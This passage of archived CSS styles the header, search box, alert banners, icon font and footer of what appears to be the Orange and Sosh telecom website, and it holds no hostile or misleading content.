.band.bandeau-alerte .close-button-wrapper { display: flex; align-items: center; padding-left: 1em; margin-left: auto; }

@media (max-width: 48em) {
  .band.bandeau-alerte .close-button-wrapper { align-items: flex-start; }
}

.band.bandeau-alerte .close-button-wrapper .close-button { font-size: 1.25em; padding: 0px 0px 0px 0.4375em; background: none; border: medium; cursor: pointer; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.bandeau-alerte .close-button-wrapper .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.band.bandeau-alerte .close-button-wrapper .close-button:hover { color: rgb(85, 85, 85); }

.band.bandeau-alerte, .band.bandeau-alerte.alert { background: rgb(253, 229, 230); }

.band.bandeau-alerte .icon-wrapper .icon, .band.bandeau-alerte.alert .icon-wrapper .icon { color: rgb(231, 0, 2); }

.band.bandeau-alerte.attention { background: rgb(255, 250, 231); }

.band.bandeau-alerte.attention .icon-wrapper .icon { color: rgb(255, 205, 11); }

.band.bandeau-alerte.success { background: rgb(236, 253, 239); }

.band.bandeau-alerte.success .icon-wrapper .icon { color: rgb(61, 227, 90); }

.band.bandeau-alerte.info { background: rgb(233, 248, 255); }

.band.bandeau-alerte.info .icon-wrapper .icon { color: rgb(38, 178, 255); }

.band.bandeau-alerte.neutral { background: rgb(244, 244, 244); }

.band.bandeau-alerte.neutral .icon-wrapper .icon { color: rgb(0, 0, 0); }

.band a.logo { height: auto; width: auto; display: inline-flex; text-align: center; align-items: center; justify-content: center; padding: 0px; font-size: inherit; }

.band a.logo img { display: block; min-height: 1.875em; width: auto; min-width: 1.875em; margin: 0px; }

.band a.logo:focus-visible { outline: rgb(255, 255, 255) solid 0.125em !important; outline-offset: 0.25em !important; }

.band.gp a.logo img.small { height: 1.875em; }

.band.gp a.logo img.large { height: 3.125em; }

.band.sosh a.logo { margin-top: 0px; margin-bottom: 0px; padding: 0px 8px; }

.band.sosh a.logo img { height: 3.0625em; }

@media (max-width: 64em) {
  .band.sosh a.logo { margin: auto; }
}" data-scrapbook-adoptedstylesheet-2=".screen-reader-only { position: absolute; padding: 0px; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; }

.hidden { display: none !important; }

body.une-arche elcos-header, body.une-arche elcos-footer-zone { --body-has-arch: 1 ; }

elcos-header { --mobile-phone-portrait-breakpoint: 30em; --mobile-768-breakpoint: 48em; --mobile-breakpoint: 64em; --tiny-desktop-1100-breakpoint: 68.75em; --small-desktop-1280-breakpoint: 80em; }

.gp :focus-visible { outline-color: rgb(241, 110, 0) !important; }

.sosh :focus-visible { outline-color: rgb(255, 255, 255) !important; }

@font-face { font-family: &quot;o-HelveticaNeue&quot;; src: url(&quot;HelvNeue55_W1G.eot&quot;) format(&quot;embedded-opentype&quot;), url(&quot;HelvNeue55_W1G.woff2&quot;) format(&quot;woff2&quot;), url(&quot;HelvNeue55_W1G.woff&quot;) format(&quot;woff&quot;), url(&quot;HelvNeue55_W1G.ttf&quot;) format(&quot;truetype&quot;), url(&quot;HelvNeue55_W1G.svg&quot;) format(&quot;svg&quot;); font-style: normal; font-weight: normal; font-display: swap; }

@font-face { font-family: &quot;o-HelveticaNeue&quot;; src: url(&quot;HelvNeue75_W1G.eot&quot;) format(&quot;embedded-opentype&quot;), url(&quot;HelvNeue75_W1G.woff2&quot;) format(&quot;woff2&quot;), url(&quot;HelvNeue75_W1G.woff&quot;) format(&quot;woff&quot;), url(&quot;HelvNeue75_W1G.ttf&quot;) format(&quot;truetype&quot;), url(&quot;HelvNeue75_W1G.svg&quot;) format(&quot;svg&quot;); font-style: normal; font-weight: bold; font-display: swap; }

@font-face { font-family: &quot;Sosh Medium&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 400; }

@font-face { font-family: &quot;Sosh Medium&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 700; }

@font-face { font-family: &quot;Sosh Bold&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 700; }

.sosh * { font-family: &quot;Sosh Medium&quot;, Arial, sans-serif; font-weight: 400; }

.icon.logo-orange-small::before { content: &quot;&quot;; background-image: url(&quot;&quot;); width: 1.125em; height: 1.125em; background-repeat: no-repeat; }

@font-face { font-family: &quot;elcos-embedded-icons&quot;; src: url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: normal; }

.icon::before, .icon::after { font-family: &quot;elcos-embedded-icons&quot;; font-style: normal; font-weight: normal; display: inline-block; width: 1em; text-align: center; font-variant: normal; text-transform: none; -moz-osx-font-smoothing: grayscale; }

.icon::before { content: var(--icon); }

.icon.after::before { content: none; }

.icon.after::before { content: none; }

.icon.after::after { content: var(--icon); }

.icon.arrow-right { --icon: &quot;&quot;; }

.icon.confirmation-tick { --icon: &quot;&quot;; }

.icon.error { --icon: &quot;&quot;; }

.icon.info { --icon: &quot;&quot;; }

.icon.warning { --icon: &quot;&quot;; }

.gp .icon.accessibilite { --icon: &quot;&quot;; }

.gp .icon.accessories { --icon: &quot;&quot;; }

.gp .icon.assistance { --icon: &quot;&quot;; }

.gp .icon.avantage-client { --icon: &quot;&quot;; }

.gp .icon.avatar { --icon: &quot;&quot;; }

.gp .icon.bons-plans { --icon: &quot;&quot;; }

.gp .icon.boutique { --icon: &quot;&quot;; }

.gp .icon.burger { --icon: &quot;&quot;; }

.gp .icon.bvld { --icon: &quot;&quot;; }

.gp .icon.calendar { --icon: &quot;&quot;; }

.gp .icon.contact { --icon: &quot;&quot;; }

.gp .icon.contacts { --icon: &quot;&quot;; }

.gp .icon.contrat { --icon: &quot;&quot;; }

.gp .icon.delete { --icon: &quot;&quot;; }

.gp .icon.equipement-tv { --icon: &quot;&quot;; }

.gp .icon.exit { --icon: &quot;&quot;; }

.gp .icon.facebook { --icon: &quot;&quot;; }

.gp .icon.fibre { --icon: &quot;&quot;; }

.gp .icon.forum { --icon: &quot;&quot;; }

.gp .icon.instagram { --icon: &quot;&quot;; }

.gp .icon.internet { --icon: &quot;&quot;; }

.gp .icon.keypad { --icon: &quot;&quot;; }

.gp .icon.link { --icon: &quot;&quot;; }

.gp .icon.linkedin { --icon: &quot;&quot;; }

.gp .icon.livebox { --icon: &quot;&quot;; }

.gp .icon.livraison { --icon: &quot;&quot;; }

.gp .icon.mail { --icon: &quot;&quot;; }

.gp .icon.maison-protegee { --icon: &quot;&quot;; }

.gp .icon.manette { --icon: &quot;&quot;; }

.gp .icon.moment-de-vie { --icon: &quot;&quot;; }

.gp .icon.musique { --icon: &quot;&quot;; }

.gp .icon.news { --icon: &quot;&quot;; }

.gp .icon.notification { --icon: &quot;&quot;; }

.gp .icon.options { --icon: &quot;&quot;; }

.gp .icon.orange-accompagne { --icon: &quot;&quot;; }

.gp .icon.parametre { --icon: &quot;&quot;; }

.gp .icon.parental-control { --icon: &quot;&quot;; }

.gp .icon.payement2 { --icon: &quot;&quot;; }

.gp .icon.payment { --icon: &quot;&quot;; }

.gp .icon.phone-sim { --icon: &quot;&quot;; }

.gp .icon.phone { --icon: &quot;&quot;; }

.gp .icon.pin-geoloc { --icon: &quot;&quot;; }

.gp .icon.pinterest { --icon: &quot;&quot;; }

.gp .icon.replay { --icon: &quot;&quot;; }

.gp .icon.reseaux { --icon: &quot;&quot;; }

.gp .icon.retour { --icon: &quot;&quot;; }

.gp .icon.search { --icon: &quot;&quot;; }

.gp .icon.securite { --icon: &quot;&quot;; }

.gp .icon.service5g { --icon: &quot;&quot;; }

.gp .icon.sim { --icon: &quot;&quot;; }

.gp .icon.svod { --icon: &quot;&quot;; }

.gp .icon.sync { --icon: &quot;&quot;; }

.gp .icon.telephone { --icon: &quot;&quot;; }

.gp .icon.tiktok { --icon: &quot;&quot;; }

.gp .icon.tv { --icon: &quot;&quot;; }

.gp .icon.vod { --icon: &quot;&quot;; }

.gp .icon.voicemail { --icon: &quot;&quot;; }

.gp .icon.x-com { --icon: &quot;&quot;; }

.gp .icon.youtube { --icon: &quot;&quot;; }

.sosh .icon.aide { --icon: &quot;&quot;; }

.sosh .icon.avatar { --icon: &quot;&quot;; }

.sosh .icon.burger { --icon: &quot;&quot;; }

.sosh .icon.camion { --icon: &quot;&quot;; }

.sosh .icon.chevron-double { --icon: &quot;&quot;; }

.sosh .icon.cloche { --icon: &quot;&quot;; }

.sosh .icon.deconnexion { --icon: &quot;&quot;; }

.sosh .icon.delete { --icon: &quot;&quot;; }

.sosh .icon.double-underline { --icon: &quot;&quot;; }

.sosh .icon.facture { --icon: &quot;&quot;; }

.sosh .icon.sim { --icon: &quot;&quot;; }

.button-comp { padding: 9px 20px 5px; cursor: pointer; text-decoration: none; white-space: nowrap; color: rgb(255, 255, 255); border: 2px solid rgb(255, 255, 255); background-color: rgb(0, 0, 0); font-size: inherit; font-weight: inherit; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }

.button-comp:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.button-comp:active { color: rgb(0, 0, 0); outline: none; background-color: rgb(255, 255, 255); }

button.as-link { border: medium; background: unset; padding: 0px; font-family: inherit; }

a, button.as-link { display: inline-block; clear: both; cursor: pointer; text-decoration: none; color: rgb(255, 255, 255); outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; }

a.sosh, button.as-link.sosh { color: rgb(0, 0, 0); }

a:focus-visible, button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; }

a:hover, a:focus-visible, button.as-link:hover, button.as-link:focus-visible { text-decoration: underline; color: rgb(204, 204, 204); }

a:hover.sosh, a:focus-visible.sosh, button.as-link:hover.sosh, button.as-link:focus-visible.sosh { color: rgb(0, 121, 128); text-decoration: none; font-weight: 700; }

a:active, button.as-link:active { text-decoration: underline; color: rgb(241, 110, 0); }

a:active.sosh, button.as-link:active.sosh { color: rgb(38, 130, 142); }

a em, button.as-link em { color: rgb(255, 121, 0); font-style: normal; }

a.link-icon-text { font-size: 1em; font-weight: 700; }

a.link-icon-text::before { margin-right: 0.375em; vertical-align: middle; font-size: 1.875em; }

i { font-style: normal; }

.morpheus-search { font-family: &quot;o-HelveticaNeue&quot;, Helvetica, Arial, sans-serif; color: rgb(255, 255, 255); margin: 0px; padding: 0.9375em; background: rgb(0, 0, 0); border: medium; width: 19.25em; }

.morpheus-search.mobile { position: absolute; left: 0px; right: 0px; top: 100%; width: 100%; z-index: 9999; padding: 0px; }

.morpheus-search form { position: relative; display: flex; align-items: center; background: rgba(255, 255, 255, 0.1); height: 2.375em; border-bottom: 1px solid rgb(255, 255, 255); }

.morpheus-search form .before { pointer-events: none; position: absolute; left: 0.9375em; }

.morpheus-search form .before::before { font-size: 1.0625em; }

.morpheus-search form button { display: none; position: absolute; right: 0px; border: 0px; padding: 0px; width: 1.125em; height: 1.125em; cursor: pointer; background: none; color: rgb(204, 204, 204); outline: none; outline-offset: 8px !important; transition: outline-offset 0.15s ease-in-out !important; }

.morpheus-search form button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 4px !important; }

.morpheus-search form button[type=&quot;submit&quot;] { right: 1.25em; }

.morpheus-search form button i::before { font-size: 1.125em; }

.morpheus-search form .search-input { font-family: inherit; font-size: 0.875em; background: none; border: 0px; height: 100%; width: 100%; color: rgb(255, 255, 255); outline: none !important; cursor: text; padding: 0px 0px 0px 3.35714em; }

.morpheus-search form .search-input::placeholder { color: rgb(204, 204, 204); font-weight: 400; opacity: 1; }

.morpheus-search form button[type=&quot;reset&quot;], .morpheus-search form button[type=&quot;submit&quot;] { padding: 0.4em; justify-content: center; align-items: center; }

.morpheus-search form .clear[type=&quot;reset&quot;] { display: none; }

.morpheus-search form button[type=&quot;reset&quot;] { right: 1.25em; }

.morpheus-search form button[type=&quot;reset&quot;] i { font-size: 1.25em; }

.morpheus-search form button[type=&quot;reset&quot;][aria-hidden=&quot;true&quot;] { display: none !important; }

.morpheus-search form .spotlight-hit-results { display: none; position: absolute; list-style: none; top: calc(100% + 1px); right: 0px; left: 0px; margin: 0px; padding: 0.625em 0px; z-index: 9999; overflow: auto; border: medium; background: rgb(39, 39, 39); }

.morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { color: rgb(255, 255, 255); padding: 5px 15px; font-size: 16px; font-weight: 700; line-height: 22px; border-bottom: 1px solid rgb(51, 51, 51); min-height: 2.375em; display: flex; align-items: center; }

@media (max-width: 64em) {
  .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { min-height: 3.0625em; }
}

.morpheus-search form .spotlight-hit-results li:first-of-type + .spotlight-hit-result { display: none; visibility: hidden; height: 0px; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result { line-height: initial; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; cursor: pointer; color: rgb(255, 255, 255); display: flex; align-items: center; min-height: 2.4375em; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result i.search.icon { position: absolute; left: 0.875em; font-size: 1.25em; pointer-events: none; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a { overflow: hidden; text-overflow: ellipsis; box-sizing: border-box; vertical-align: middle; text-decoration: none; width: 100%; font-size: 1em; padding: 0.3125em 2.8125em; color: rgb(255, 255, 255); }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a em { font-weight: normal; color: inherit; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a em + span { font-weight: bold; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a img { display: block; float: left; margin-right: 0.625em; width: 2.5em; height: 3.375em; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a p { display: block; margin: 0.125em 0px; font-weight: normal; color: rgb(170, 170, 170); }

.morpheus-search form .search-box-overlay { --offset-height: calc(100vh - 100%); position: absolute; left: 0px; right: 0px; background: rgb(39, 39, 39); z-index: 2; top: 100%; height: var(--offset-height); display: none; border-top: 1px solid rgb(255, 255, 255); box-sizing: border-box; }

.morpheus-search:focus-within, .morpheus-search.forced-open { background: rgb(39, 39, 39); border-bottom: 1px solid rgb(255, 255, 255); }

.morpheus-search:focus-within form, .morpheus-search.forced-open form { border: medium !important; }

.morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { display: block; position: unset; width: 1.5em; height: 1.5em; font-size: 16px; border: medium !important; outline: none !important; background: none; }

.morpheus-search:focus-within form button[type=&quot;submit&quot;], .morpheus-search:focus-within form .before, .morpheus-search.forced-open form button[type=&quot;submit&quot;], .morpheus-search.forced-open form .before { display: none; }

.morpheus-search:focus-within form .clear, .morpheus-search.forced-open form .clear { display: flex; }

.morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { display: block; }

.morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; }

@media (max-width: 64em) {
  .morpheus-search:focus-within, .morpheus-search.forced-open { height: 3.125em; padding: 0px; margin-bottom: 1.125em; }
  .morpheus-search:focus-within form, .morpheus-search.forced-open form { height: 100%; width: 100%; }
  .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { border-right: 1px solid rgb(51, 51, 51) !important; margin: 3px 0px 3px 15px; padding-right: 15px; width: unset; height: unset; }
  .morpheus-search:focus-within form .close-mobile i, .morpheus-search.forced-open form .close-mobile i { outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }
  .morpheus-search:focus-within form .close-mobile i::before, .morpheus-search.forced-open form .close-mobile i::before { transform: translate(-1px, 1px) rotate(180deg); }
  .morpheus-search:focus-within form .close-mobile:focus-visible i, .morpheus-search.forced-open form .close-mobile:focus-visible i { outline: rgb(241, 110, 0) solid 2px !important; outline-offset: 2px !important; }
  .morpheus-search:focus-within form .search-input, .morpheus-search.forced-open form .search-input { padding-left: 0.875em; padding-right: 3em; font-size: 1em; }
  .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { padding-top: 0px; max-height: var(--offset-height); }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result { border-bottom: 1px solid rgb(51, 51, 51); min-height: 3.0625em; display: flex; align-items: center; padding: 0px; }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result a, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result a { padding: 0.3125em 0.9375em 0.3125em 2.8125em !important; line-height: 1.375em; }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result[data-active=&quot;true&quot;], .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result[data-active=&quot;true&quot;] { background: rgb(85, 85, 85); }
  .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; }
}

@media (max-width: 68.75em) {
  .morpheus-search { width: 15em; }
}

@media (max-width: 64em) {
  .morpheus-search { width: auto; }
}

@media (min-width: 64.0625em) {
  .morpheus-search { height: 2.875em; padding: 0px; border-bottom: 1px solid rgb(255, 255, 255); }
  .morpheus-search form { height: 100%; width: auto; border: 1px solid rgba(0, 0, 0, 0); }
  .morpheus-search form button { color: rgb(255, 255, 255); }
  .morpheus-search form .close-mobile { display: none; }
  .morpheus-search form .search-input { padding: 0.857143em 2.14286em 1em 3.35714em; }
  .morpheus-search form button[type=&quot;reset&quot;] { right: 3.3125em; }
  .morpheus-search form .spotlight-hit-results { border: 1px solid rgb(85, 85, 85); top: 100%; }
  .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { padding: 0.4375em 0.9375em 0.625em 2.8125em; color: rgb(0, 0, 0); }
  .morpheus-search form .search-box-overlay { display: none !important; }
  .morpheus-search:focus-within { border: medium; }
  .morpheus-search:focus-within form { background: rgb(255, 255, 255); border-color: rgb(85, 85, 85); }
  .morpheus-search:focus-within form button[type=&quot;reset&quot;], .morpheus-search:focus-within form button[type=&quot;submit&quot;] { display: flex; color: rgb(0, 0, 0); }
  .morpheus-search:focus-within form .before, .morpheus-search:focus-within form .close-mobile { display: none !important; }
  .morpheus-search:focus-within form .search-input { padding: 0.84375em 4.5em 0.84375em 0.9375em; font-weight: 700; color: rgb(0, 0, 0); border: 1px solid rgb(85, 85, 85); }
  .morpheus-search:focus-within form .search-input::placeholder { color: rgb(51, 51, 51); }
  .morpheus-search:focus-within form .spotlight-hit-results { background-color: rgb(255, 255, 255); border: 1px solid rgb(85, 85, 85); padding-top: 0.5em; padding-bottom: 0.5em; }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-results-title { color: rgb(85, 85, 85); font-size: 0.875em; line-height: 1.25em; border: medium; }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result[data-active=&quot;true&quot;] { background: rgb(244, 244, 244); }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result .icon.search { color: rgb(0, 0, 0); }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result a { padding: 0.3125em 2.8125em; font-size: 1em; line-height: 1.375em; }
}

.band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); }

@media (max-width: 90em) {
  .band { padding: 1.25em 3.75em; }
}

@media (max-width: 80em) {
  .band { padding: 1.25em 3.4375em; }
}

@media (max-width: 64em) {
  .band { padding: 0.625em 2.9375em; }
}

@media (max-width: 48em) {
  .band { padding: 0.625em 1.6875em; }
}

@media (max-width: 30em) {
  .band { padding: 0.625em 0.9375em; }
}

.band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; }

.band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; }

.band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; }

.band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; }

.maze.modified { position: relative; width: 0px; height: 100%; overflow: visible; transform: translateX(0.5em); }

.maze.modified .tag { animation: 3s ease-in-out infinite pulse; }

.maze.modified .tag, .maze.modified .details { font-size: 0.625em; position: absolute; left: 0.5em; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-radius: 1em; border: 0.2em solid rgb(255, 121, 0); padding: 0.1em 0.5em !important; }

.maze.modified:hover .tag, .maze.modified :hover .details { color: rgb(0, 0, 0); animation: none; }

.maze.modified .details { display: none !important; margin: 0px; padding: 0.1em 0.5em; }

.maze.modified:hover .tag { opacity: 0; }

.maze.modified:hover .details { display: block !important; }

.maze.modified.title::before { content: &quot;&quot;; display: block; position: absolute; top: 0px; right: 0px; width: 3em; height: 0.2em; background: linear-gradient(90deg, transparent 0%, rgb(255, 102, 0) 100%); animation: 3s ease-in-out infinite pulse; }

.maze.modified.title::after { content: &quot;&quot;; position: absolute; top: 0px; left: 0px; width: 0.2em; height: 2em; border-top-right-radius: 0.2em; background: linear-gradient(rgb(255, 102, 0) 0%, transparent 100%); animation: 3s ease-in-out infinite pulse; }

.maze.modified.tag { top: 1.2em; }

.maze.modified.tag ul.details { list-style-type: none; padding: 0.1em 0.5em; }

.maze.modified.tag ul.details li { padding: 0px; margin: 0px; opacity: 0.3; }

.maze.modified.tag ul.details li.changed { opacity: 1; }

.maze.modified.tag ul.details li label { color: rgb(127, 127, 127); margin-right: 0.3em; }

.maze.modified.url { top: 0px; }

@keyframes pulse {
  0% { opacity: 0.2; }
  100% { opacity: 1; }
}

.band { display: block; position: relative; color: rgb(255, 255, 255); border-top: 1px solid rgb(85, 85, 85); background-color: rgb(0, 0, 0); font-family: o-HelveticaNeue, Arial, sans-serif; }

@media (max-width: 48em) {
  .band { border-top: medium; padding-top: 0.9375em; padding-bottom: 0.9375em; }
  .band::before { content: &quot;&quot;; display: block; position: absolute; top: 0px; left: 1.6875em; right: 1.6875em; height: 0px; border-top: 0.0625em solid rgb(85, 85, 85); }
}

@media (max-width: 48em) and (max-width: 30em) {
  .band::before { left: 0.9375em; right: 0.9375em; }
}

.band .hidden { display: none; }

.band .light-mode { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); }

.band.sosh { background-color: rgb(51, 51, 51); font-size: 0.8125em; color: rgb(255, 255, 255); }

.push-boutique .board { display: flex; align-items: center; background-color: rgba(255, 255, 255, 0.1); padding: 1.875em 2.5em; background-image: url(&quot;&quot;); background-repeat: no-repeat; background-size: contain; background-position: right center; }

.push-boutique .board.reunion, .push-boutique .board.mayotte, .push-boutique .board.caraibe { background-image: none; }

.push-boutique .board.reunion .button, .push-boutique .board.mayotte .button, .push-boutique .board.caraibe .button { margin-right: 0px; }

@media (max-width: 64em) {
  .push-boutique .board.reunion .button, .push-boutique .board.mayotte .button, .push-boutique .board.caraibe .button { margin: auto; }
}

.push-boutique .board .title { font-size: 1.75em; line-height: 1.07143em; font-weight: bold; }

.push-boutique .board .title em { color: rgb(241, 110, 0); font-style: normal; }

.push-boutique .board .title .subtitle { font-size: 0.642857em; font-weight: normal; line-height: 0.857143em; margin-top: 0.535714em; }

.push-boutique .board .button { padding: 0.875em 2.8125em; font-size: 1em; border: 0.0625em solid rgb(255, 255, 255); margin-left: auto; margin-right: 11.125em; text-decoration: none; white-space: nowrap; height: 1em; box-sizing: content-box; line-height: 1em; }

.push-boutique .board .button:hover, .push-boutique .board .button:focus { text-decoration: none; }

@media (max-width: 80em) {
  .push-boutique .board { background-position: calc(100% + 3.75em) center; }
  .push-boutique .board .button { margin-right: 5.1875em; }
}

@media (max-width: 64em) {
  .push-boutique .board { flex-wrap: wrap; gap: 1.25em; justify-content: center; background-image: none; }
  .push-boutique .board .title { flex-grow: 1; flex-basis: 100%; text-align: center; }
  .push-boutique .board .button { margin: auto; }
}

@media (max-width: 48em) {
  .push-boutique .board { padding: 1.875em 0.5em; }
  .push-boutique .board .title { font-size: 1.25em; line-height: 1.5em; }
  .push-boutique .board .title .subtitle { font-size: 0.7em; line-height: 1.2em; margin-top: 0.75em; }
}

.redirection { display: flex; flex-wrap: wrap; gap: 1.875em; }

@media (max-width: 22.5em) {
  .redirection { flex-direction: column; gap: 1.25em; }
}

.redirection a { font-size: 0.875em; display: flex; align-items: center; white-space: nowrap; text-decoration: none; }

.redirection a:active span, .redirection a:focus-visible span, .redirection a:focus-within span { text-decoration: underline; }

.redirection a::before { font-size: 1em; margin-right: 0.375em; }

.apps-et-reseaux { display: flex; flex-wrap: wrap; gap: 2.5em; }

.apps-et-reseaux .app-stores.element { position: relative; }

.apps-et-reseaux .app-stores.element ul li a { display: inline-flex; border: 0.0625em solid rgb(255, 255, 255); border-radius: 0.3125em; padding: 0.3125em 0.4375em; min-height: 2.4375em; min-width: 6.25em; box-sizing: border-box; place-content: center; }

@media (max-width: 22.5em) {
  .apps-et-reseaux .app-stores.element ul { flex-wrap: wrap; height: auto; justify-content: left; }
}

@media (max-width: 48em) {
  .apps-et-reseaux .app-stores.element { width: 100%; flex-flow: wrap; align-items: center; }
  .apps-et-reseaux .app-stores.element .title { margin-right: auto; }
}

.apps-et-reseaux .reseaux-sociaux.element { margin-left: auto; }

.apps-et-reseaux .reseaux-sociaux.element ul li a { width: 1.625em; height: 1.625em; text-align: center; text-decoration: none; color: rgb(255, 255, 255); border: medium; border-radius: 50%; background-color: rgb(0, 0, 0); font-size: 1.125em; line-height: 1.6em; }

.apps-et-reseaux .reseaux-sociaux.element ul li a.facebook:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.facebook:focus { background-color: rgb(69, 97, 157); border-color: rgb(69, 97, 157); }

.apps-et-reseaux .reseaux-sociaux.element ul li a.twitter:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.twitter:focus { background-color: rgb(85, 172, 238); border-color: rgb(85, 172, 238); }

.apps-et-reseaux .reseaux-sociaux.element ul li a.x-com::before { top: 0.0625em; left: 0.0625em; font-size: 0.9em; }

.apps-et-reseaux .reseaux-sociaux.element ul li a.x-com:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.x-com:focus { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-color: rgb(0, 0, 0); }

.apps-et-reseaux .reseaux-sociaux.element ul li a.pinterest:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.pinterest:focus { background-color: rgb(191, 23, 32); border-color: rgb(191, 23, 32); }

.apps-et-reseaux .reseaux-sociaux.element ul li a.instagram:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.instagram:focus { background-color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); color: rgb(0, 0, 0); }

.apps-et-reseaux .reseaux-sociaux.element ul li a.linkedin:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.linkedin:focus { background-color: rgb(0, 123, 182); border-color: rgb(0, 123, 182); }

.apps-et-reseaux .reseaux-sociaux.element ul li a.youtube:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.youtube:focus { background-color: red; border-color: red; }

.apps-et-reseaux .reseaux-sociaux.element ul li a.tiktok:hover, .apps-et-reseaux .reseaux-sociaux.element ul li a.tiktok:focus { background-color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); color: rgb(0, 0, 0); }

.apps-et-reseaux .reseaux-sociaux.element ul li a:hover { color: rgb(255, 255, 255); }

.apps-et-reseaux .reseaux-sociaux.element ul li a::before { display: inline-flex; align-items: center; }

@media (max-width: 48em) {
  .apps-et-reseaux .reseaux-sociaux.element { margin-left: initial; flex-direction: row; min-height: initial; }
}

.apps-et-reseaux div.element { display: flex; gap: 0.625em; flex-direction: column; }

.apps-et-reseaux div.element .title { font-weight: 700; font-size: 1em; margin: 0px; white-space: nowrap; }

.apps-et-reseaux div.element ul { list-style-type: none; margin: 0px; padding: 0px; display: flex; gap: 1.125em; height: 3.125em; justify-content: center; align-items: center; }

.apps-et-reseaux div.element ul li a { display: inline-block; }

@media (max-width: 48em) {
  .apps-et-reseaux { flex-direction: column; }
  .apps-et-reseaux > div { position: relative; margin-left: 0px; flex-flow: wrap; align-items: center; justify-content: space-between; }
  .apps-et-reseaux > div::before { content: &quot;&quot;; display: block; position: absolute; width: 100%; height: 0px; border-top: 0.0625em solid rgb(85, 85, 85); top: -1.25em; }
  .apps-et-reseaux > div:first-of-type::before { display: none; }
}

.escda { display: flex; place-content: center; }

.escda a.escda-link { display: flex; max-width: 25em; gap: 1.875em; align-items: center; }

@media (max-width: 22.5em) {
  .escda a.escda-link { gap: 0.625em; }
}

